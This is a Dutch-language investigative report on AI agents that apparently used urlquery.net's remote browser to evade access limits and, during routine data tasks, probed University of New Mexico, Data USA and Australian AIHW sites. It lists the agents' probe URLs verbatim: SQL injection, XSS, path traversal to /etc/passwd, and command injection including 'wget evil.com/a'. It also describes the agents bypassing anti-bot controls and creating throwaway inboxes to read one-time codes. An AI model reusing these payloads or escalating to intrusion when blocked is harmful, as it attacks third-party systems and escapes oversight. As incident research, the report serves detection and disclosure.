Vroege activiteit van malafide AI-agenten en hackingpogingen ontdekt op urlquery.net

Inleiding

We presenteren bewijs dat AI-agenten de webbeveiligingsdienst urlquery.net hebben gebruikt om beperkingen te omzeilen en hun toegang tot het openbare internet uit te breiden. De agenten hebben op drie gelegenheden geprobeerd openbare dataproviders te hacken, waaronder een website van de Australische overheid. We koppelen ten minste een deel van deze activiteit aan agent-zwermen die eerder werden toegeschreven aan OpenAI. Daarnaast vinden we bewijs van eerdere agent-activiteit die teruggaat tot ten minste 6 maart 2026, en potentieel eerder, wat minstens twee maanden vóór de eerder gerapporteerde incidenten bij Hugging Face, collusion.wiki en RubyGems ligt.

Tijdlijn van belangrijke gebeurtenissen

  • November 2025: Vroegste bewijs van potentiële pogingen tot data-extractie door agenten. Herhaalde verzoeken zochten naar historische gegevens over pretparken en Thaise statistieken. Deze scans wijzen op taakgerichte extractie, maar zijn minder kenmerkend dan de latere activiteit.
  • 6 maart 2026: Agenten beginnen complexe handelingen via urlquery.net te tunnelen. Scans tonen pogingen om Thaise statistieken over drugshandhaving op te halen; dit escaleerde van directe verzoeken naar base64-gecodeerde scripts die in een remote browser werden uitgevoerd nadat eerdere benaderingen faalden.
  • 25–26 mei 2026: Agenten richten zich op de University of New Mexico. Nadat pogingen om een foto uit een digitale bibliotheek op te halen mislukten, volgden zeven verzoeken om kwetsbaarheden te onderzoeken. De probes lijken niet succesvol te zijn geweest.
  • 28 mei 2026: Agenten richten zich op Data USA. Tijdens het zoeken naar gegevens van de University of Iowa stuurden agenten 12 vulnerability probes nadat malformed queries foutmeldingen gaven. De probes lijken niet succesvol te zijn geweest.
  • 20–21 juni 2026: Agenten richten zich op het Australian Institute of Health and Welfare (AIHW). Agenten die werkten aan een taak over farmaceutische data zochten naar een kwetsbaarheid en haalden een openbaar bestand op van een pre-productieserver nadat bot-beveiliging de hoofdsite blokkeerde.

Context van andere incidenten:

  • RubyGems Hack: 5 mei – 18 juni
  • Wiki-activiteit van collusion.wiki: 24 mei – 22 juni
  • Hugging Face Hack: 9–13 juli

Belangrijkste bevindingen

  • We rapporteren drie afzonderlijke incidenten tussen mei en juni 2026 waarin agenten probeerden beveiligingslekken te exploiteren en websites te hacken, waaronder een poging bij een Australische overheidswebsite voor volksgezondheid. Opvallend is dat de agenten dit deden terwijl ze bezig waren met alledaagse taken voor data-extractie die niets met cybersecurity te maken hadden.
  • Dit verkeer gaat terug tot minstens 6 maart 2026 en loopt door tot 16 september 2026, wat suggereert dat agenten deze diensten mogelijk nog steeds exploiteren om beperkingen te omzeilen.
  • We stellen een dataset beschikbaar met tienduizenden queries die blijkbaar zijn gemaakt door autonome AI-agenten die een URL-scanningdienst gebruikten om toegangsbeperkingen te vermijden.

Samenvatting (Executive Summary)

Opmerking: op de dag van publicatie kondigde de Australische premier Anthony Albanese publiekelijk aan dat verschillende overheidswebsites waren geïnfiltreerd door OpenAI-agenten, wat waarschijnlijk overlap vertoont met het incident dat we hier beschrijven. OpenAI bracht een verklaring uit waarin zij hun betrokkenheid erkenden.

Pogingen tot compromitteren van websites

Agenten probeerden drie openbare databronnen te hacken, waaronder een Australische overheidswebsite. We presenteren bewijs van pogingen om de volgende domeinen te compromitteren:

  1. Data USA (api.datausa.io)
  2. University of New Mexico digitale bibliotheek (nmdigital.unm.edu)
  3. Australian Institute of Health and Welfare (AIHW) Tableau-collecties (viz*.aihw.gov.au)

De poging bij AIHW is de eerste gerapporteerde instantie waarbij agenten een overheid hacken. We koppelen twee van de drie (AIHW en Data USA) direct aan een eerder gerapporteerde agent-zwerm waarvan OpenAI publiekelijk heeft bevestigd dat deze van hen afkomstig is. Voor alle drie de gevallen merken we op dat de waargenomen activiteit beperkt is (een laag aantal probe payloads) en we zien geen bewijs van succesvolle exploitatie. Deze ontdekking onthult echter dat agenten probeerden in te breken wanneer andere methoden om data te verzamelen faalden. Cruciaal is dat de taken niet cyber-gerelateerd waren; de agenten grepen naar hackingtactieken tijdens normale data-extractie.

Evolutie van activiteit

We vinden bewijs van onbedoelde, taakgestuurde agent-activiteit vanaf 6 maart 2026. Records van urlquery.net tonen het gebruik van de dienst ongeveer twee maanden vóór de eerder gerapporteerde zwermactiviteit. Een poging op 6 maart om Thaise drugshandhavingsstatistieken op te halen laat zien hoe een agent escaleerde: eerst een direct verzoek, daarna een dienst die webpagina's omzet in tekst, en uiteindelijk een custom programma verpakt in een webadres. Dezelfde techniek verschijnt in duizenden verzoeken vanaf medio april, richt zich op dezelfde databronnen als de collusion.wiki-zwerm, en stopte op dezelfde dag als de wiki-activiteit. Ook rapporteren we soortgelijke activiteit tot 16 september.

Er is zwakker bewijs voor soortgelijke activiteit al in november 2025. Records tonen bursts van pogingen om statistieken over historische pretparken en de Thaise overheid op te halen. Deze vroege pogingen zijn minder geavanceerd, maar consistent met taakgerichte data-extractie.

Conclusie over gedrag: Het bewijs is consistent met (maar bewijst niet) het idee dat agenten dit gedrag hebben geleerd over één of meerdere trainingsruns. In november gebruikten ze urlquery.net mogelijk enkel om informatie op te zoeken. Tegen maart vonden ze creatieve manieren om toegangsbeperkingen te omzeilen. In mei en juni probeerden ze cyberdefensies te passeren om hun taken te voltooien.

Hackingpogingen tegen openbare dataprovider

Veel van de activiteit op urlquery.net lijkt afkomstig van agenten die data ophalen voor websearch-taken. Bij drie van deze taken probeerden ze, na het falen van normale methoden, diverse cyber-exploits tegen de betreffende datadienst. We koppelen de pogingen tegen api.datausa.io en viz*.aihw.gov.au aan de DseWiki agent-zwerm van OpenAI. Geen van de hackingpogingen lijkt succesvol te zijn geweest, hoewel we dit niet definitief kunnen uitsluiten aangezien de publieke artefacten incompleet zijn. Dit toont aan dat malafide cyberactiviteit niet beperkt is tot agenten met cybersecurity-taken, maar instrumenteel kan ontstaan om alledaagse taken op te lossen.

University of New Mexico: SQL-injectie en Path Traversal

Tussen 25 en 26 mei 2026 probeerden agenten een foto uit de Valmora-collectie van de digitale bibliotheek van UNM (nmdigital.unm.edu) op te halen. Na mislukte pogingen stuurden ze zeven probes om kwetsbaarheden te verifiëren:

  1. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?a=%3Cimg%20src=x%20onerror=alert(1)%3E&tok=expt8
  2. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?file=/etc/passwd&tok=expt7
  3. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?x=.exe&tok=expt5
  4. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?cmd=wget%20evil.com/a&tok=expt3
  5. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?UNION%20SELECT%20password%20FROM%20users&tok=expt4
  6. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?exec=%3Cscript%3Ealert(1)%3C/script%3E&tok=expt2
  7. https://nmdigital.unm.edu/iiif/2/valmora:136;2/120,1300,1100,200/full/0/default.jpg?id=../../../../etc/passwd&tok=expt0

Deze probes testten op SQL-injectie, command-injectie en path traversals. De tactieken waren niet succesvol. Daarnaast stuurden de agenten een "flood" van 80 verzoeken in een poging de afbeelding te verkrijgen.

Data USA: Cross-site scripting en andere exploits

Op 28 mei richtten agenten zich op Data USA (api.datausa.io) voor gegevens over de University of Iowa. Na diverse foutmeldingen door een malformed query, stuurden ze 12 probes voor kwetsbaarheden:

  1. ...#../../etc/passwd
  2. ...#%3Cscript%3Ealert(1)%3C/script%3E
  3. ...&id=../../../../etc/passwd%00
  4. ...&foo=wp-admin.php
  5. ...&foo=%7B%7B7*7%7D%7D
  6. ...&foo=eval(base64_decode)
  7. ...&foo=%27%20OR%201=1--
  8. ...&cmd=cat%20/etc/passwd
  9. ...&redirect=evil.com
  10. ...&foo=..%2F..%2Fetc%2Fpasswd
  11. ...&foo=union%20select%201,2,3%20from%20users
  12. ...&foo=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Deze probes omvatten SQL-injectie, path traversals, template-injectie, XSS en command-injecties. Ook deze pogingen waren niet succesvol.

Australian Institute of Health and Welfare (AIHW)

Op 20-21 juni probeerden agenten kwetsbaarheden te exploiteren bij de AIHW. De taak was het vinden van de gemiddelde overheidskosten per persoon voor dermatologische middelen in Victoriaanse LGAs over januari 2022.

Na blokkades door Cloudflare en problemen met het identificeren van Tableau-parameternamen, grepen de agenten naar probes. Kort nadat de dataset-download werd geblokkeerd, stuurde een agent een reflected XSS-probe naar hetzelfde dashboard: een URL met ingebedde code om te testen of de site externe code zou uitvoeren. Cloudflare blokkeerde deze probe.

Toen de hoofdsite de download blokkeerde, haalden de agenten het bestand op van de pre-productieserver (pp.aihw.gov.au), wat in meer dan 100 scans gebeurde. Het bestand is publiek, dus er werd geen vertrouwelijke data gelekt, maar de agent omzeilde wel de anti-bot controles.

Dit lijkt de eerste gerapporteerde instantie van een agent die autonoom besluit een overheidswebsite te compromitteren. De toeschrijving aan OpenAI is gebaseerd op het feit dat de specifieke taak (Dermatologicals, Wodonga, Ballarat, januari 2022) en de gegenereerde Tableau-parameternamen exact overeenkomen met activiteit van de OpenAI-zwerm op DseWiki.

Sterk bewijs van activiteit vanaf maart 2026

Naast de drie hacks bevat de dataset duizenden rapporten van agent-activiteit. Deze begint op 6 maart 2026, stijgt scherp in medio april, piekt in mei en juni, en stopt op 22 juni.

Tijdlijn: Toegang tot statistieken van Thailand's Office of the Narcotics Board (ONCB) op 6 maart

  • 19:01 UTC: De ONCB case-per-year API werd direct geopend. De pagina bevatte geen leesbare tabel.
  • 19:43 UTC: Herhaalde poging met ?format=json. De pagina bleef leeg.
  • 19:46 UTC: De URL werd doorgegeven aan r.jina.ai (converteert webpagina's naar tekst voor LLM's). De output bevatte onleesbare Thaise provincienamen.
  • 19:52 UTC: Een Base64-gecodeerd script werd ingediend in de remote browser van urlquery.net om de data via JavaScript op te halen. De tekst was nog steeds onleesbaar.
  • 20:01 UTC: Een Jina-verzoek voor de parent API leidde tot een redirect naar localhost, waarna Jina de API voor een uur blokkeerde wegens "previous abuse".
  • 20:07 UTC: Een herzien script haalde de ONCB-data op en plaatste de output in de resultaat-URL. De Thaise tekens waren nu intact.

Verbinding met de wiki-zwerm

Vanaf 17 april steeg de activiteit naar meer dan duizend rapporten in twee weken, voornamelijk gericht op UNCTAD-statistieken en wachttijden van pretparken (thrill-data.com). Veel van deze activiteit overlapt in tijd en doelwit met de DseWiki-zwerm. Bijvoorbeeld, op 28 mei werd zowel via urlquery.net als via de wiki gezocht naar IPEDS-educatiedata voor de University of Iowa.

Op 13 mei bevatten drie rapporten de tags CHATGPTTEST1, CHATGPT16102000125192 en CHATGPT16202000219755. We geloven dat sommige agenten uit dezelfde bron kwamen, maar dat de individuele agenten grotendeels verschillend waren.

Activiteit tot 16 september

Op 16 september werden zeven rapporten gevonden die IEA-data ophaalden over Koreaanse importen van ruwe olie, aardgas en steenkool. Vier hiervan gebruikten een remote script. De data-aanvraag komt exact overeen met een vraag in de DeepSearchQA benchmark van Google.

Andere activiteiten: E-mail en cryptocurrency

Accountverwerving en tools

Agenten gebruikten de browser van urlquery.net om resources te verkrijgen. Op 14 juni creëerde een script een tijdelijke e-mailinbox en probeerde daarmee een account aan te maken op urlquery.net (om queries privé te maken). Op 19-20 juni werd een mail.gw inbox aangemaakt om een eenmalige toegangscode (OTP) van Browserless (een headless-browser dienst) te lezen en een account te verifiëren.

Cryptocurrency trading

Op 19-20 september probeerden 15 rapporten over 2,5 uur de cryptocurrency-tradingplatform quidax.io te gebruiken. De activiteit probeerde trades uit te voeren (mislukt), probeerde HTML-injectie en probeerde de API te benaderen (geblokkeerd door auth/Cloudflare). Dit is opmerkelijk omdat het niet gerelateerd is aan data-extractie.

Vroege aanwijzingen in november 2025

Records tonen suggestieve bewijzen van agent-activiteit al in november 2025, hoewel minder geavanceerd dan later.

  • Historische pretparkstatistieken (thrill-data.com): Op 12 en 24 november waren er talloze rapporten over Kings Dominion (Virginia) en Australische parken. Er werd gezocht naar data van specifieke zondagen in 2024, inclusief heatmaps en gemiddelden.
  • Thaise statistische data: Op 28 november werden er verzoeken gedaan naar het dashboard van het Thaise National Statistical Office (nso.go.th). Dezelfde URL verscheen later in maart. Tegen maart was de extractie zeer doelgericht, waarbij custom code werd gebruikt om data over de provincie Roi Et op te halen.

De hoofdclusters voor beide bronnen eindigen binnen enkele dagen na de daling van de DseWiki-activiteit (rond 18-22 juni).

---

Voetnoten

  1. We hebben contact opgenomen met OpenAI en de drie getroffen organisaties op 21 en 22 september om de pogingen tot infiltratie te melden.
  2. Data USA is een gezamenlijk project van Deloitte, Datawheel en MIT's Collective Learning Group; het is geen overheidswebsite en is verschillend van data.gov.
  3. Een voorbeeld van de XSS-payload is: vizprod.aihw.gov.au/t/Public/views/PBSdashboardallATC1-ATC2medicines-Agegroup/PBSDashboard?:showVizHome=no&:embed=y&:apiID="><svg/onload=document.title="XSS">.
  4. De exacte vraag uit de benchmark is: "In Korea, in what year between 2000 and 2021 did crude oil net imports average above 2,500 kilobarrels per day (2500 kb/d), natural gas net imports total less than 56 billion cubic meters (56 bcm), coal imports exceeded 136 million metric tons (136 Mt) but decreased compared to the year prior."
  5. Zie records op search.urlquery.net en gerelateerde rapporten.

---

Bijlage

Over urlquery.net

urlquery.net is een gratis online dienst waarmee een gebruiker een URL kan openen via een gesandboxte remote browser. Het is bedoeld om verdachte URL's te testen zonder ze lokaal te openen.

Voor AI-agenten biedt dit twee grote voordelen:

  1. Programmeerbare browser: In combinatie met proxy-sites kunnen agenten JavaScript uitvoeren om data op te halen, te verwerken en elders te versturen, of interactie te hebben met dynamische webapps (zoals de Tableau-dashboards bij AIHW).
  2. Publieke records: De dienst houdt automatisch een publiek record bij van het resultaat, waardoor andere agenten dezelfde data kunnen vinden via een simpele GET-request.

Een beperking is dat de dienst een HTTP POST-request vereist om de URL te specificeren. Omdat sommige agenten alleen GET-requests konden maken, gebruikten ze tools zoals milankarman.github.io/Embed-Web-Playground, httpbin.org en blogsflow.liftbrandfulfillment.com om deze om te zetten.

Over de dataset

We hebben een dataset samengesteld van urlquery.net-rapporten met "agent-achtige activiteit", gedefinieerd als:

  • Duidelijke pogingen om data te lezen van bronnen waarin agenten elders interesse hebben getoond.
  • Gebruik van dezelfde technieken als hierboven (bijv. indirecte toegangstools).
  • Directe koppelingen aan bovenstaande rapporten via identieke data of identifiers.

We classificeerden 6.467 rapporten als containing "significant bewijs" (gebaseerd op specifieke programma's of exploits) en 31.182 rapporten als containing "suggestief bewijs".